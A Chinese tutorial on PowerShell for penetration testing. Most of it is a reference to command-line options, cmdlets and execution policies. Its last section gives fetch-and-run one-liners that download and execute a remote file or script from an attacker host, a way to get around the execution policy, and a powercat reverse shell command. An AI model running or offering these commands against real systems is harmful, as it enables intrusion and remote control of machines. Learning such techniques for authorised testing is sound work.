PowerShell 依托.NET Framework平台可以实现非常强大的功能,而且普适性强,Win7及以上系统自带,隐蔽性好,可以直接在内存中运行,能够绕过部分杀软,现将平日操作及内网渗透过程中常用命令及使用方法总结如下。
一、常用命令
PowerShell不仅兼容几乎所有的cmd命令,还通过别名的方式兼容部分Linux Shell的命令,如:ls
、kill
、pwd
、history
、sleep
、cd
、rm
、rmdir
、ps
、man
,PowerShell命令称为cmdlet,与原本的cmd和Linux Shell不同,cmdlet的实现基于面向对象,借助.NET Framework平台强大的类库,实现强大的功能。
(一) PowerShell.exe
cmd环境中输入PowerShell.exe
命令即可进入PowerShell交互环境,或者可以通过 PowerShell.exe <OPTIONS>
直接执行命令,OPTIONS具体参数及作用如下所示:
-NoExit
:运行命令后不退出(默认退出)-NonInteractive
:不向用户交互式提示信息-NoProfile
:不加载当前用户的配置文件-WindowStyle <style>
:将窗口样式设置为 Normal、Minimized、Maximized 或 Hidden-EncodedCommand <Base64 Code>
:接收 base-64 编码字符串的命令,可以利用此参数提交因复杂引号而无法处理的命令-File <Path> <Arg>
:指定运行的脚本,File必须是命令中的最后一个参数,因为在File参数名称后面键入的所有字符都将解释为后跟脚本参数的脚本文件路径-ExecutionPolicy <Policy>
:设置当前命令默认执行策略,包括:AllSigned、Bypass、Default、RemoteSigned、Restricted、Unrestricted-Command { - | <Script> [-args <Args>] | <String> [<Arg>] }
:执行指定的命令然后退出,除非指定-NoExit
① 如果Command为"-" ,则表示从标准输入中读取命令文本,也就是说可以直接运行命令,也可以通过echo <command> | powershell -
等形式运行命令
② 如果Command为脚本块,则Command必须用大括号{}
括起来,只有在PowerShell中运行PowerShell.exe时,才能指定脚本块
③ 如果Command的值为字符串,则Command必须是命令中的最后一个参数,因为在命令后面键入的所有字符都将解释为命令参数
注意:
① PowerShell命令参数可以简写,只要可以分辨出具体参数即可,例如:-NoProfile -> -nop
、-EncodedCommand -> -enc
、-Command -> -c
、-WindowStyle -> -w
② PowerShell在当前路径下运行脚本或程序必须加.\
,否则会提示找不到命令,因为PowerShell并不是从当前位置加载命令
(二) cmdlet 命令
cmdlet命令遵循 动词-名词
这样语法结构,命令和参数都支持Tab命令补全,这里介绍一些常用的命令:
# 查看cmdlet、function、alias的帮助文档
Get-Help / help / man <String>
# 查看cmdlet、function、alias信息,支持通配符*匹配
Get-Command [[-Name] <String>]
# 查看进程信息,支持通配符*匹配
Get-Process / ps [[-Name] <String>]
# 查看当前会话中命令别名
Get-Alias [[-Name] <String>]
# 获取目录信息,Filter支持通配符*
Get-ChildItem / ls / dir [[-Path] <String>] [[-Filter] <String>]
# 获取当前目录位置
Get-Location / pwd
# 获取当前会话中的变量信息,支持通配符*
# 获取当前程序PID:Get-Variable PID
Get-Variable [[-Name] <String>]
# 获取服务,支持通配符*
Get-Service [[-Name] <String>]
# 获取当前会话的执行策略
Get-ExecutionPolicy
# 获取文件内容
Get-Content / type [-Path] <String>
# 为命令设置别名
Set-Alias [-Name] <Alias_String> [-Value] <String>
# 设置变量值
Set-Variable [-Name] <String> [[-Value] <Object>]
# 切换路径
Set-Location / cd [[-Path] <String>]
# 启动、停止、暂停服务
Set-Service [-Name] <System.String> [-Status {
Paused | Running | Stopped}]
# 设置PowerShell命令执行策略
Set-ExecutionPolicy {
AllSigned | Bypass | Default | RemoteSigned | Restricted | Undefined | Unrestricted}
# 将字符串当作命令在本地执行
Invoke-Expression / iex [-Command] <String> [<CommonParameters>]
# 新建.NET Framework对象
New-Object [-TypeName] <String>
# 新建文件/目录
# -Name:文件/目录名称
# -Path:文件/目录所在目录
# -Value:文件中的内容
# -Force:覆盖当前文件/目录
# -Confirm:需要交互式确认
# -ItemType包括:Directory、File、SymbolLink、Junction、HardLink
New-Item / mkdir -Name <String> [[-Path] <String>] [-Value <Object>] [-Force] [-Confirm] [-ItemType <String>]
# 复制文件/目录
Copy-Item [-Path] <String> [[-Destination] <String>]
# 复制文件/目录
Move-Item [-Path] <String> [[-Destination] <String>]
# 删除文件/目录
Remove-Item [-Path] <String>
# 重命名文件/目录
Rename-Item [-Path] <String> [-NewName] <String>
(三) 格式化输出
PowerShell中搭配管道符 |
可以对回显内容格式化显示,精简过滤所需信息,格式化显示有两种方式:
- 行模式显示
FL
:Format List,属性和值在同一行显示,可筛选属性,如利用 PowerView.ps1 查询域信息:
# 查看域用户信息,结果按行显示
Set-ExecutionPolicy Bypass
Import-Module PowerView.ps1
Get-NetUser | fl name,lastlogon,distinguishedname
结果如下所示:
- 表格模式显示
FT
:Format Table,按表格形式显示属性和值,可筛选属性:
# 查看域用户信息,结果按表格显示
Set-ExecutionPolicy Bypass
Import-Module PowerView.ps1
Get-NetUser | ft name,lastlogon,distinguishedname
结果如下所示:
会发现由于窗口宽度限制,导致内容显示不完整,而且重定向输出到文件一样不完整,解决方法是调整powershell命令行窗口宽度 (在窗口上方 右键-> Properties
),然后在命令后加上-autosize
参数:
Get-NetUser | ft name,lastlogon,distinguishedname -autosize > results.txt
二、脚本规则
PowerShell脚本即包含了一系列PowerShell命令的文本文件,每个命令单独为一行,文件扩展名为 .ps1
。
PowerShel设置了7种命令的执行策略,具体如下:
- AllSigned:必须有受信任的签名才运行
- Bypass:没有任何限制的执行,且没有安全提示
- Default:系统默认策略
- RemoteSigned:Windows Server默认策略,除非有有效数字签名,否则只运行本地脚本,不运行网络下载的脚本
- Restricted:Windows默认策略,仅可执行单个语句,不可执行脚本
- Unrestricted:允许所有脚本运行,但会报警
为防止恶意脚本的执行,默认的命令执行策略为Restricted,如果要运行PowerShell脚本,需要通过PowerShell.exe -ExecutionPolicy Bypass -File ...
或者Set-ExecutionPolicy Bypass
命令修改执行策略。
三、应用场景
PowerShell 可以通过加载恶意脚本完成dll注入、shellcode注入、反弹shell等攻击行为,本质上都是下载文件或内存载入脚本运行,基本命令如下:
下载文件到本地
# 下载远程文件到本地
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.43.189/test.exe','D:\test.exe')
# 下载远程文件到当前目录并运行
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.43.189/test.exe','test.exe'); Start-Process test.exe "-p 1234 -h 10.10.1.1 ..."
内存载入脚本运行
# 内存载入远程脚本并执行,不下载到本地
# iex 运行的命令可以绕过脚本执行策略
powershell iex (New-Object System.Net.WebClient).DownloadString('http://192.168.43.189/test.ps1')
# 带参数运行则需要加上完整的命令,如运行powercat
powershell iex (New-Object System.Net.WebClient).DownloadString('http://192.168.43.189/powercat.ps1');powercat -c 10.10.1.1 -p 12346 -e cmd -v
注意如果在本地测试 powercat.ps1,则要先将其导入 Import-Module powercat.ps1
,或者执行加载 . .\powercat.ps1
(前边的点号不能省),然后再运行命令 powercat
,因为在 powercat.ps1 中只是定义了 powercat 函数,其本身并不包含命令,不导入直接执行 powercat
命令是无法识别的。iex 相当于先把ps脚本执行了一遍,所以后续在执行命令时可以省去导入或加载的步骤。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/bian-cheng-ji-chu/105474.html